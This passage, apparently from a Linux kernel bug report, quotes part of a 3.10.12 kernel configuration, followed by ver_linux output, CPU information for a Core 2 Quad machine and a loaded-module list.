CONFIG_USB_SL811_HCD is not set > # CONFIG_USB_R8A66597_HCD is not set > > # > # USB Device Class drivers > # > # CONFIG_USB_ACM is not set > # CONFIG_USB_PRINTER is not set > # CONFIG_USB_WDM is not set > # CONFIG_USB_TMC is not set > > # > # NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may > # > > # > # also be needed; see USB_STORAGE Help for more info > # > CONFIG_USB_STORAGE=m > # CONFIG_USB_STORAGE_DEBUG is not set > # CONFIG_USB_STORAGE_REALTEK is not set > # CONFIG_USB_STORAGE_DATAFAB is not set > # CONFIG_USB_STORAGE_FREECOM is not set > # CONFIG_USB_STORAGE_ISD200 is not set > # CONFIG_USB_STORAGE_USBAT is not set > # CONFIG_USB_STORAGE_SDDR09 is not set > # CONFIG_USB_STORAGE_SDDR55 is not set > # CONFIG_USB_STORAGE_JUMPSHOT is not set > # CONFIG_USB_STORAGE_ALAUDA is not set > # CONFIG_USB_STORAGE_ONETOUCH is not set > # CONFIG_USB_STORAGE_KARMA is not set > # CONFIG_USB_STORAGE_CYPRESS_ATACB is not set > # CONFIG_USB_STORAGE_ENE_UB6250 is not set > > # > # USB Imaging devices > # > # CONFIG_USB_MDC800 is not set > # CONFIG_USB_MICROTEK is not set > # CONFIG_USB_DWC3 is not set > # CONFIG_USB_CHIPIDEA is not set > > # > # USB port drivers > # > # CONFIG_USB_SERIAL is not set > > # > # USB Miscellaneous drivers > # > # CONFIG_USB_EMI62 is not set > # CONFIG_USB_EMI26 is not set > # CONFIG_USB_ADUTUX is not set > # CONFIG_USB_SEVSEG is not set > # CONFIG_USB_RIO500 is not set > # CONFIG_USB_LEGOTOWER is not set > # CONFIG_USB_LCD is not set > # CONFIG_USB_LED is not set > # CONFIG_USB_CYPRESS_CY7C63 is not set > # CONFIG_USB_CYTHERM is not set > # CONFIG_USB_IDMOUSE is not set > # CONFIG_USB_FTDI_ELAN is not set > # CONFIG_USB_APPLEDISPLAY is not set > # CONFIG_USB_SISUSBVGA is not set > # CONFIG_USB_LD is not set > # CONFIG_USB_TRANCEVIBRATOR is not set > # CONFIG_USB_IOWARRIOR is not set > # CONFIG_USB_TEST is not set > # CONFIG_USB_ISIGHTFW is not set > # CONFIG_USB_YUREX is not set > # CONFIG_USB_EZUSB_FX2 is not set > # CONFIG_USB_HSIC_USB3503 is not set > # CONFIG_USB_PHY is not set > # CONFIG_USB_GADGET is not set > # CONFIG_UWB is not set > # CONFIG_MMC is not set > # CONFIG_MEMSTICK is not set > # CONFIG_NEW_LEDS is not set > # CONFIG_ACCESSIBILITY is not set > # CONFIG_INFINIBAND is not set > # CONFIG_EDAC is not set > CONFIG_RTC_LIB=y > # CONFIG_RTC_CLASS is not set > # CONFIG_DMADEVICES is not set > # CONFIG_AUXDISPLAY is not set > # CONFIG_UIO is not set > # CONFIG_VIRT_DRIVERS is not set > > # > # Virtio drivers > # > # CONFIG_VIRTIO_PCI is not set > # CONFIG_VIRTIO_MMIO is not set > > # > # Microsoft Hyper-V guest support > # > # CONFIG_STAGING is not set > # CONFIG_X86_PLATFORM_DEVICES is not set > > # > # Hardware Spinlock drivers > # > CONFIG_CLKEVT_I8253=y > CONFIG_I8253_LOCK=y > CONFIG_CLKBLD_I8253=y > # CONFIG_MAILBOX is not set > # CONFIG_IOMMU_SUPPORT is not set > > # > # Remoteproc drivers > # > # CONFIG_STE_MODEM_RPROC is not set > > # > # Rpmsg drivers > # > # CONFIG_PM_DEVFREQ is not set > # CONFIG_EXTCON is not set > # CONFIG_MEMORY is not set > # CONFIG_IIO is not set > # CONFIG_NTB is not set > # CONFIG_VME_BUS is not set > # CONFIG_PWM is not set > # CONFIG_IPACK_BUS is not set > # CONFIG_RESET_CONTROLLER is not set > > # > # Firmware Drivers > # > # CONFIG_EDD is not set > CONFIG_FIRMWARE_MEMMAP=y > # CONFIG_DELL_RBU is not set > # CONFIG_DCDBAS is not set > CONFIG_DMIID=y > # CONFIG_DMI_SYSFS is not set > # CONFIG_ISCSI_IBFT_FIND is not set > # CONFIG_GOOGLE_FIRMWARE is not set > > # > # File systems > # > CONFIG_DCACHE_WORD_ACCESS=y > CONFIG_EXT2_FS=m > CONFIG_EXT2_FS_XATTR=y > CONFIG_EXT2_FS_POSIX_ACL=y > CONFIG_EXT2_FS_SECURITY=y > # CONFIG_EXT2_FS_XIP is not set > CONFIG_EXT3_FS=m > # CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set > CONFIG_EXT3_FS_XATTR=y > CONFIG_EXT3_FS_POSIX_ACL=y > CONFIG_EXT3_FS_SECURITY=y > CONFIG_EXT4_FS=m > CONFIG_EXT4_FS_POSIX_ACL=y > CONFIG_EXT4_FS_SECURITY=y > # CONFIG_EXT4_DEBUG is not set > CONFIG_JBD=m > CONFIG_JBD2=m > CONFIG_FS_MBCACHE=m > # CONFIG_REISERFS_FS is not set > # CONFIG_JFS_FS is not set > CONFIG_XFS_FS=m > CONFIG_XFS_QUOTA=y > CONFIG_XFS_POSIX_ACL=y > # CONFIG_XFS_RT is not set > CONFIG_XFS_WARN=y > # CONFIG_XFS_DEBUG is not set > # CONFIG_GFS2_FS is not set > # CONFIG_OCFS2_FS is not set > CONFIG_BTRFS_FS=m > CONFIG_BTRFS_FS_POSIX_ACL=y > # CONFIG_BTRFS_FS_CHECK_INTEGRITY is not set > # CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set > # CONFIG_BTRFS_DEBUG is not set > # CONFIG_NILFS2_FS is not set > CONFIG_FS_POSIX_ACL=y > CONFIG_EXPORTFS=y > CONFIG_FILE_LOCKING=y > CONFIG_FSNOTIFY=y > CONFIG_DNOTIFY=y > CONFIG_INOTIFY_USER=y > # CONFIG_FANOTIFY is not set > CONFIG_QUOTA=y > # CONFIG_QUOTA_NETLINK_INTERFACE is not set > # CONFIG_PRINT_QUOTA_WARNING is not set > # CONFIG_QUOTA_DEBUG is not set > # CONFIG_QFMT_V1 is not set > # CONFIG_QFMT_V2 is not set > CONFIG_QUOTACTL=y > CONFIG_QUOTACTL_COMPAT=y > # CONFIG_AUTOFS4_FS is not set > CONFIG_FUSE_FS=m > CONFIG_CUSE=m > CONFIG_GENERIC_ACL=y > > # > # Caches > # > # CONFIG_FSCACHE is not set > > # > # CD-ROM/DVD Filesystems > # > CONFIG_ISO9660_FS=m > CONFIG_JOLIET=y > # CONFIG_ZISOFS is not set > # CONFIG_UDF_FS is not set > > # > # DOS/FAT/NT Filesystems > # > CONFIG_FAT_FS=m > CONFIG_MSDOS_FS=m > CONFIG_VFAT_FS=m > CONFIG_FAT_DEFAULT_CODEPAGE=437 > CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" > # CONFIG_NTFS_FS is not set > > # > # Pseudo filesystems > # > CONFIG_PROC_FS=y > CONFIG_PROC_KCORE=y > CONFIG_PROC_SYSCTL=y > CONFIG_PROC_PAGE_MONITOR=y > CONFIG_SYSFS=y > CONFIG_TMPFS=y > CONFIG_TMPFS_POSIX_ACL=y > CONFIG_TMPFS_XATTR=y > # CONFIG_HUGETLBFS is not set > # CONFIG_HUGETLB_PAGE is not set > CONFIG_CONFIGFS_FS=m > CONFIG_MISC_FILESYSTEMS=y > # CONFIG_ADFS_FS is not set > # CONFIG_AFFS_FS is not set > # CONFIG_ECRYPT_FS is not set > # CONFIG_HFS_FS is not set > # CONFIG_HFSPLUS_FS is not set > # CONFIG_BEFS_FS is not set > # CONFIG_BFS_FS is not set > # CONFIG_EFS_FS is not set > # CONFIG_LOGFS is not set > # CONFIG_CRAMFS is not set > CONFIG_SQUASHFS=m > CONFIG_SQUASHFS_XATTR=y > CONFIG_SQUASHFS_ZLIB=y > CONFIG_SQUASHFS_LZO=y > CONFIG_SQUASHFS_XZ=y > # CONFIG_SQUASHFS_4K_DEVBLK_SIZE is not set > # CONFIG_SQUASHFS_EMBEDDED is not set > CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3 > # CONFIG_VXFS_FS is not set > # CONFIG_MINIX_FS is not set > # CONFIG_OMFS_FS is not set > # CONFIG_HPFS_FS is not set > # CONFIG_QNX4FS_FS is not set > # CONFIG_QNX6FS_FS is not set > # CONFIG_ROMFS_FS is not set > # CONFIG_PSTORE is not set > # CONFIG_SYSV_FS is not set > # CONFIG_UFS_FS is not set > # CONFIG_F2FS_FS is not set > CONFIG_NETWORK_FILESYSTEMS=y > CONFIG_NFS_FS=m > # CONFIG_NFS_V2 is not set > CONFIG_NFS_V3=m > CONFIG_NFS_V3_ACL=y > CONFIG_NFS_V4=m > # CONFIG_NFS_SWAP is not set > CONFIG_NFS_V4_1=y > CONFIG_PNFS_FILE_LAYOUT=m > CONFIG_PNFS_BLOCK=m > CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org" > # CONFIG_NFS_USE_LEGACY_DNS is not set > CONFIG_NFS_USE_KERNEL_DNS=y > CONFIG_NFSD=m > CONFIG_NFSD_V2_ACL=y > CONFIG_NFSD_V3=y > CONFIG_NFSD_V3_ACL=y > CONFIG_NFSD_V4=y > CONFIG_LOCKD=m > CONFIG_LOCKD_V4=y > CONFIG_NFS_ACL_SUPPORT=m > CONFIG_NFS_COMMON=y > CONFIG_SUNRPC=m > CONFIG_SUNRPC_GSS=m > CONFIG_SUNRPC_BACKCHANNEL=y > CONFIG_RPCSEC_GSS_KRB5=m > # CONFIG_SUNRPC_DEBUG is not set > # CONFIG_CEPH_FS is not set > # CONFIG_CIFS is not set > # CONFIG_NCP_FS is not set > # CONFIG_CODA_FS is not set > # CONFIG_AFS_FS is not set > CONFIG_NLS=y > CONFIG_NLS_DEFAULT="utf-8" > CONFIG_NLS_CODEPAGE_437=m > # CONFIG_NLS_CODEPAGE_737 is not set > # CONFIG_NLS_CODEPAGE_775 is not set > # CONFIG_NLS_CODEPAGE_850 is not set > # CONFIG_NLS_CODEPAGE_852 is not set > # CONFIG_NLS_CODEPAGE_855 is not set > # CONFIG_NLS_CODEPAGE_857 is not set > # CONFIG_NLS_CODEPAGE_860 is not set > # CONFIG_NLS_CODEPAGE_861 is not set > # CONFIG_NLS_CODEPAGE_862 is not set > # CONFIG_NLS_CODEPAGE_863 is not set > # CONFIG_NLS_CODEPAGE_864 is not set > # CONFIG_NLS_CODEPAGE_865 is not set > # CONFIG_NLS_CODEPAGE_866 is not set > # CONFIG_NLS_CODEPAGE_869 is not set > # CONFIG_NLS_CODEPAGE_936 is not set > # CONFIG_NLS_CODEPAGE_950 is not set > # CONFIG_NLS_CODEPAGE_932 is not set > # CONFIG_NLS_CODEPAGE_949 is not set > # CONFIG_NLS_CODEPAGE_874 is not set > # CONFIG_NLS_ISO8859_8 is not set > # CONFIG_NLS_CODEPAGE_1250 is not set > # CONFIG_NLS_CODEPAGE_1251 is not set > CONFIG_NLS_ASCII=m > CONFIG_NLS_ISO8859_1=m > # CONFIG_NLS_ISO8859_2 is not set > # CONFIG_NLS_ISO8859_3 is not set > # CONFIG_NLS_ISO8859_4 is not set > # CONFIG_NLS_ISO8859_5 is not set > # CONFIG_NLS_ISO8859_6 is not set > # CONFIG_NLS_ISO8859_7 is not set > # CONFIG_NLS_ISO8859_9 is not set > # CONFIG_NLS_ISO8859_13 is not set > # CONFIG_NLS_ISO8859_14 is not set > CONFIG_NLS_ISO8859_15=m > # CONFIG_NLS_KOI8_R is not set > # CONFIG_NLS_KOI8_U is not set > # CONFIG_NLS_MAC_ROMAN is not set > # CONFIG_NLS_MAC_CELTIC is not set > # CONFIG_NLS_MAC_CENTEURO is not set > # CONFIG_NLS_MAC_CROATIAN is not set > # CONFIG_NLS_MAC_CYRILLIC is not set > # CONFIG_NLS_MAC_GAELIC is not set > # CONFIG_NLS_MAC_GREEK is not set > # CONFIG_NLS_MAC_ICELAND is not set > # CONFIG_NLS_MAC_INUIT is not set > # CONFIG_NLS_MAC_ROMANIAN is not set > # CONFIG_NLS_MAC_TURKISH is not set > CONFIG_NLS_UTF8=m > # CONFIG_DLM is not set > > # > # Kernel hacking > # > CONFIG_TRACE_IRQFLAGS_SUPPORT=y > CONFIG_PRINTK_TIME=y > CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4 > # CONFIG_ENABLE_WARN_DEPRECATED is not set > # CONFIG_ENABLE_MUST_CHECK is not set > CONFIG_FRAME_WARN=2048 > CONFIG_MAGIC_SYSRQ=y > # CONFIG_STRIP_ASM_SYMS is not set > # CONFIG_UNUSED_SYMBOLS is not set > # CONFIG_DEBUG_FS is not set > # CONFIG_HEADERS_CHECK is not set > # CONFIG_DEBUG_SECTION_MISMATCH is not set > # CONFIG_DEBUG_KERNEL is not set > # CONFIG_PANIC_ON_OOPS is not set > CONFIG_PANIC_ON_OOPS_VALUE=0 > # CONFIG_SLUB_DEBUG_ON is not set > # CONFIG_SLUB_STATS is not set > CONFIG_HAVE_DEBUG_KMEMLEAK=y > CONFIG_DEBUG_BUGVERBOSE=y > CONFIG_DEBUG_MEMORY_INIT=y > CONFIG_ARCH_WANT_FRAME_POINTERS=y > CONFIG_FRAME_POINTER=y > > # > # RCU Debugging > # > # CONFIG_SPARSE_RCU_POINTER is not set > CONFIG_RCU_CPU_STALL_TIMEOUT=60 > CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y > CONFIG_USER_STACKTRACE_SUPPORT=y > CONFIG_HAVE_FUNCTION_TRACER=y > CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y > CONFIG_HAVE_FUNCTION_GRAPH_FP_TEST=y > CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y > CONFIG_HAVE_DYNAMIC_FTRACE=y > CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y > CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y > CONFIG_HAVE_SYSCALL_TRACEPOINTS=y > CONFIG_HAVE_FENTRY=y > CONFIG_HAVE_C_RECORDMCOUNT=y > CONFIG_TRACING_SUPPORT=y > # CONFIG_FTRACE is not set > # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set > # CONFIG_DMA_API_DEBUG is not set > # CONFIG_ATOMIC64_SELFTEST is not set > # CONFIG_ASYNC_RAID6_TEST is not set > # CONFIG_SAMPLES is not set > CONFIG_HAVE_ARCH_KGDB=y > CONFIG_HAVE_ARCH_KMEMCHECK=y > # CONFIG_TEST_STRING_HELPERS is not set > # CONFIG_TEST_KSTRTOX is not set > CONFIG_STRICT_DEVMEM=y > CONFIG_X86_VERBOSE_BOOTUP=y > CONFIG_EARLY_PRINTK=y > # CONFIG_EARLY_PRINTK_DBGP is not set > # CONFIG_DEBUG_SET_MODULE_RONX is not set > # CONFIG_IOMMU_STRESS is not set > CONFIG_HAVE_MMIOTRACE_SUPPORT=y > CONFIG_IO_DELAY_TYPE_0X80=0 > CONFIG_IO_DELAY_TYPE_0XED=1 > CONFIG_IO_DELAY_TYPE_UDELAY=2 > CONFIG_IO_DELAY_TYPE_NONE=3 > CONFIG_IO_DELAY_0X80=y > # CONFIG_IO_DELAY_0XED is not set > # CONFIG_IO_DELAY_UDELAY is not set > # CONFIG_IO_DELAY_NONE is not set > CONFIG_DEFAULT_IO_DELAY_TYPE=0 > CONFIG_OPTIMIZE_INLINING=y > > # > # Security options > # > CONFIG_KEYS=y > # CONFIG_ENCRYPTED_KEYS is not set > CONFIG_KEYS_DEBUG_PROC_KEYS=y > # CONFIG_SECURITY_DMESG_RESTRICT is not set > # CONFIG_SECURITY is not set > # CONFIG_SECURITYFS is not set > CONFIG_DEFAULT_SECURITY_DAC=y > CONFIG_DEFAULT_SECURITY="" > CONFIG_XOR_BLOCKS=m > CONFIG_ASYNC_CORE=m > CONFIG_ASYNC_MEMCPY=m > CONFIG_ASYNC_XOR=m > CONFIG_ASYNC_PQ=m > CONFIG_ASYNC_RAID6_RECOV=m > CONFIG_CRYPTO=y > > # > # Crypto core or helper > # > # CONFIG_CRYPTO_FIPS is not set > CONFIG_CRYPTO_ALGAPI=y > CONFIG_CRYPTO_ALGAPI2=y > CONFIG_CRYPTO_AEAD=m > CONFIG_CRYPTO_AEAD2=y > CONFIG_CRYPTO_BLKCIPHER=m > CONFIG_CRYPTO_BLKCIPHER2=y > CONFIG_CRYPTO_HASH=m > CONFIG_CRYPTO_HASH2=y > CONFIG_CRYPTO_RNG=m > CONFIG_CRYPTO_RNG2=y > CONFIG_CRYPTO_PCOMP=m > CONFIG_CRYPTO_PCOMP2=y > CONFIG_CRYPTO_MANAGER=y > CONFIG_CRYPTO_MANAGER2=y > CONFIG_CRYPTO_USER=m > # CONFIG_CRYPTO_MANAGER_DISABLE_TESTS is not set > CONFIG_CRYPTO_GF128MUL=m > CONFIG_CRYPTO_NULL=m > CONFIG_CRYPTO_PCRYPT=m > CONFIG_CRYPTO_WORKQUEUE=y > CONFIG_CRYPTO_CRYPTD=m > CONFIG_CRYPTO_AUTHENC=m > CONFIG_CRYPTO_TEST=m > CONFIG_CRYPTO_ABLK_HELPER_X86=m > CONFIG_CRYPTO_GLUE_HELPER_X86=m > > # > # Authenticated Encryption with Associated Data > # > CONFIG_CRYPTO_CCM=m > CONFIG_CRYPTO_GCM=m > CONFIG_CRYPTO_SEQIV=m > > # > # Block modes > # > CONFIG_CRYPTO_CBC=m > CONFIG_CRYPTO_CTR=m > CONFIG_CRYPTO_CTS=m > CONFIG_CRYPTO_ECB=m > CONFIG_CRYPTO_LRW=m > CONFIG_CRYPTO_PCBC=m > CONFIG_CRYPTO_XTS=m > > # > # Hash modes > # > # CONFIG_CRYPTO_CMAC is not set > CONFIG_CRYPTO_HMAC=m > CONFIG_CRYPTO_XCBC=m > CONFIG_CRYPTO_VMAC=m > > # > # Digest > # > CONFIG_CRYPTO_CRC32C=m > CONFIG_CRYPTO_CRC32C_INTEL=m > # CONFIG_CRYPTO_CRC32 is not set > # CONFIG_CRYPTO_CRC32_PCLMUL is not set > CONFIG_CRYPTO_GHASH=m > CONFIG_CRYPTO_MD4=m > CONFIG_CRYPTO_MD5=m > CONFIG_CRYPTO_MICHAEL_MIC=m > CONFIG_CRYPTO_RMD128=m > CONFIG_CRYPTO_RMD160=m > CONFIG_CRYPTO_RMD256=m > CONFIG_CRYPTO_RMD320=m > CONFIG_CRYPTO_SHA1=m > CONFIG_CRYPTO_SHA1_SSSE3=m > # CONFIG_CRYPTO_SHA256_SSSE3 is not set > # CONFIG_CRYPTO_SHA512_SSSE3 is not set > CONFIG_CRYPTO_SHA256=m > CONFIG_CRYPTO_SHA512=m > CONFIG_CRYPTO_TGR192=m > CONFIG_CRYPTO_WP512=m > # CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set > > # > # Ciphers > # > CONFIG_CRYPTO_AES=y > CONFIG_CRYPTO_AES_X86_64=m > CONFIG_CRYPTO_AES_NI_INTEL=m > CONFIG_CRYPTO_ANUBIS=m > CONFIG_CRYPTO_ARC4=m > CONFIG_CRYPTO_BLOWFISH=m > CONFIG_CRYPTO_BLOWFISH_COMMON=m > CONFIG_CRYPTO_BLOWFISH_X86_64=m > CONFIG_CRYPTO_CAMELLIA=m > CONFIG_CRYPTO_CAMELLIA_X86_64=m > CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=m > # CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set > CONFIG_CRYPTO_CAST_COMMON=m > CONFIG_CRYPTO_CAST5=m > # CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set > CONFIG_CRYPTO_CAST6=m > # CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set > CONFIG_CRYPTO_DES=m > CONFIG_CRYPTO_FCRYPT=m > CONFIG_CRYPTO_KHAZAD=m > CONFIG_CRYPTO_SALSA20=m > CONFIG_CRYPTO_SALSA20_X86_64=m > CONFIG_CRYPTO_SEED=m > CONFIG_CRYPTO_SERPENT=m > CONFIG_CRYPTO_SERPENT_SSE2_X86_64=m > CONFIG_CRYPTO_SERPENT_AVX_X86_64=m > # CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set > CONFIG_CRYPTO_TEA=m > CONFIG_CRYPTO_TWOFISH=m > CONFIG_CRYPTO_TWOFISH_COMMON=m > CONFIG_CRYPTO_TWOFISH_X86_64=m > CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=m > CONFIG_CRYPTO_TWOFISH_AVX_X86_64=m > > # > # Compression > # > CONFIG_CRYPTO_DEFLATE=m > CONFIG_CRYPTO_ZLIB=m > CONFIG_CRYPTO_LZO=m > > # > # Random Number Generation > # > CONFIG_CRYPTO_ANSI_CPRNG=m > # CONFIG_CRYPTO_USER_API_HASH is not set > # CONFIG_CRYPTO_USER_API_SKCIPHER is not set > # CONFIG_CRYPTO_HW is not set > # CONFIG_ASYMMETRIC_KEY_TYPE is not set > CONFIG_HAVE_KVM=y > CONFIG_HAVE_KVM_IRQCHIP=y > CONFIG_HAVE_KVM_IRQ_ROUTING=y > CONFIG_HAVE_KVM_EVENTFD=y > CONFIG_KVM_APIC_ARCHITECTURE=y > CONFIG_KVM_MMIO=y > CONFIG_KVM_ASYNC_PF=y > CONFIG_HAVE_KVM_MSI=y > CONFIG_HAVE_KVM_CPU_RELAX_INTERCEPT=y > CONFIG_VIRTUALIZATION=y > CONFIG_KVM=m > CONFIG_KVM_INTEL=m > CONFIG_KVM_AMD=m > # CONFIG_BINARY_PRINTF is not set > > # > # Library routines > # > CONFIG_RAID6_PQ=m > CONFIG_BITREVERSE=y > CONFIG_GENERIC_STRNCPY_FROM_USER=y > CONFIG_GENERIC_STRNLEN_USER=y > CONFIG_GENERIC_FIND_FIRST_BIT=y > CONFIG_GENERIC_PCI_IOMAP=y > CONFIG_GENERIC_IOMAP=y > CONFIG_GENERIC_IO=y > CONFIG_CRC_CCITT=m > CONFIG_CRC16=m > # CONFIG_CRC_T10DIF is not set > # CONFIG_CRC_ITU_T is not set > CONFIG_CRC32=y > # CONFIG_CRC32_SELFTEST is not set > CONFIG_CRC32_SLICEBY8=y > # CONFIG_CRC32_SLICEBY4 is not set > # CONFIG_CRC32_SARWATE is not set > # CONFIG_CRC32_BIT is not set > # CONFIG_CRC7 is not set > CONFIG_LIBCRC32C=m > # CONFIG_CRC8 is not set > CONFIG_ZLIB_INFLATE=y > CONFIG_ZLIB_DEFLATE=m > CONFIG_LZO_COMPRESS=m > CONFIG_LZO_DECOMPRESS=y > CONFIG_XZ_DEC=y > CONFIG_XZ_DEC_X86=y > CONFIG_XZ_DEC_POWERPC=y > CONFIG_XZ_DEC_IA64=y > CONFIG_XZ_DEC_ARM=y > CONFIG_XZ_DEC_ARMTHUMB=y > CONFIG_XZ_DEC_SPARC=y > CONFIG_XZ_DEC_BCJ=y > # CONFIG_XZ_DEC_TEST is not set > CONFIG_DECOMPRESS_GZIP=y > CONFIG_DECOMPRESS_BZIP2=y > CONFIG_DECOMPRESS_LZMA=y > CONFIG_DECOMPRESS_XZ=y > CONFIG_DECOMPRESS_LZO=y > CONFIG_TEXTSEARCH=y > CONFIG_TEXTSEARCH_KMP=m > CONFIG_TEXTSEARCH_BM=m > CONFIG_TEXTSEARCH_FSM=m > CONFIG_HAS_IOMEM=y > CONFIG_HAS_IOPORT=y > CONFIG_HAS_DMA=y > CONFIG_CHECK_SIGNATURE=y > CONFIG_CPU_RMAP=y > CONFIG_DQL=y > CONFIG_NLATTR=y > CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y > CONFIG_LRU_CACHE=m > # CONFIG_AVERAGE is not set > # CONFIG_CORDIC is not set > # CONFIG_DDR is not set > CONFIG_OID_REGISTRY=m > > REPORTING-BUGS 8.1: Software (add the output of the ver_linux script here) > Linux server 3.10.12 #1 SMP Mon Sep 16 12:57:50 CEST 2013 x86_64 > Intel(R) Core(TM)2 Quad CPU @ 2.40GHz GenuineIntel GNU/Linux > > Gnu C 4.7.3 > Gnu make 3.82 > binutils 2.23.2 > util-linux 2.22.2 > mount debug > module-init-tools 13 > e2fsprogs 1.42.7 > xfsprogs 3.1.10 > Linux C Library 2.17 > Dynamic linker (ldd) 2.17 > Procps 3.3.6 > Net-tools 1.60_p20120127084908 > Kbd 1.15.3wip > Sh-utils 8.20 > Modules Loaded netconsole configfs nfsd auth_rpcgss oid_registry nfs_acl lockd ipv6 tun it87 hwmon_vid sunrpc squashfs loop fuse raid1 coretemp kvm_intel kvm evdev uhci_hcd acpi_cpufreq i2c_i801 i2c_core mperf ehci_pci ehci_hcd usbcore processor usb_common thermal_sys button lpc_ich mfd_core hwmon xts gf128mul r8169 mii ahci libahci xfs crc32c libcrc32c libata sd_mod scsi_mod raid10 raid456 async_memcpy async_pq async_xor xor async_raid6_recov async_tx raid6_pq md_mod dm_crypt cbc aes_x86_64 pcrypt > > REPORTING-BUGS 8.2: Processor information (from /proc/cpuinfo): > processor : 0 > vendor_id : GenuineIntel > cpu family : 6 > model : 15 > model name : Intel(R) Core(TM)2 Quad CPU @ 2.40GHz > stepping : 7 > microcode : 0x68 > cpu MHz : 2400.000 > cache size : 4096 KB > physical id : 0 > siblings : 4 > core id : 0 > cpu cores : 4 > apicid : 0 > initial apicid : 0 > fpu : yes > fpu_exception : yes > cpuid level : 10 > wp : yes > flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dtherm tpr_shadow > bogomips : 4799.72 > clflush size : 64 > cache_alignment : 64 > address sizes : 36 bits physical, 48 bits virtual > power management: > > processor : 1 > vendor_id : GenuineIntel > cpu family : 6 > model : 15 > model name : Intel(R) Core(TM)2 Quad CPU @ 2.40GHz > stepping : 7 > microcode : 0x68 > cpu MHz : 2400.000 > cache size : 4096 KB > physical id : 0 > siblings : 4 > core id : 3 > cpu cores : 4 > apicid : 3 > initial apicid : 3 > fpu : yes > fpu_exception : yes > cpuid level : 10 > wp : yes > flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dtherm tpr_shadow > bogomips : 4799.72 > clflush size : 64 > cache_alignment : 64 > address sizes : 36 bits physical, 48 bits virtual > power management: > > processor : 2 > vendor_id : GenuineIntel > cpu family : 6 > model : 15 > model name : Intel(R) Core(TM)2 Quad CPU @ 2.40GHz > stepping : 7 > microcode : 0x68 > cpu MHz : 2400.000 > cache size : 4096 KB > physical id : 0 > siblings : 4 > core id : 2 > cpu cores : 4 > apicid : 2 > initial apicid : 2 > fpu : yes > fpu_exception : yes > cpuid level : 10 > wp : yes > flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dtherm tpr_shadow > bogomips : 4799.72 > clflush size : 64 > cache_alignment : 64 > address sizes : 36 bits physical, 48 bits virtual > power management: > > processor : 3 > vendor_id : GenuineIntel > cpu family : 6 > model : 15 > model name : Intel(R) Core(TM)2 Quad CPU @ 2.40GHz > stepping : 7 > microcode : 0x68 > cpu MHz : 2400.000 > cache size : 4096 KB > physical id : 0 > siblings : 4 > core id : 1 > cpu cores : 4 > apicid : 1 > initial apicid : 1 > fpu : yes > fpu_exception : yes > cpuid level : 10 > wp : yes > flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm dtherm tpr_shadow > bogomips : 4799.72 > clflush size : 64 > cache_alignment : 64 > address sizes : 36 bits physical, 48 bits virtual > power management: > > REPORTING-BUGS 8.3: Module information (from /proc/modules): > netconsole 6105 0 - Live 0xffffffffa07b0000 > configfs 19029 2 netconsole, Live 0xffffffffa07a6000 > nfsd 190447 13 - Live 0xffffffffa0768000 > auth_rpcgss 34580 1 nfsd, Live 0xffffffffa0759000 > oid_registry 1963 1 auth_rpcgss, Live 0xffffffffa0755000 > nfs_acl 1911 1 nfsd, Live 0xffffffffa0751000 > lockd 52609 1 nfsd, Live 0xffffffffa073c000 > ipv6 256830 74 - Live 0xffffffffa06e9000 > tun 16100 1 - Live 0xffffffffa06e1000 > it87 22822 0 - Live 0xffffffffa06d5000 > hwmon_vid 1964 1 it87, Live 0xffffffffa06d1000 > sunrpc 149164 23 nfsd,auth_rpcgss,nfs_acl,lockd, Live 0xffffffffa0699000 > squashfs 23286 1 - Live 0xffffffffa068f000 > loop 14893 2 - Live 0xffffffffa0686000 > fuse 62883 0 - Live 0xffffffffa066e000 > raid1 23503 1 - Live 0xffffffffa0664000 > coretemp 5430 0 - Live 0xffffffffa0650000 > kvm_intel 116078 0 - Live 0xffffffffa05bc000 > kvm 212134 1 kvm_intel, Live 0xffffffffa04a4000 > evdev 8237 0 - Live 0xffffffffa049d000 > uhci_hcd 17541 0 - Live 0xffffffffa046d000 > acpi_cpufreq 5971 0 - Live 0xffffffffa0461000 > i2c_i801 8359 0 - Live 0xffffffffa045a000 > i2c_core 16431 1 i2c_i801, Live 0xffffffffa044c000 > mperf 1043 1 acpi_cpufreq, Live 0xffffffffa0448000 > ehci_pci 3032 0 - Live 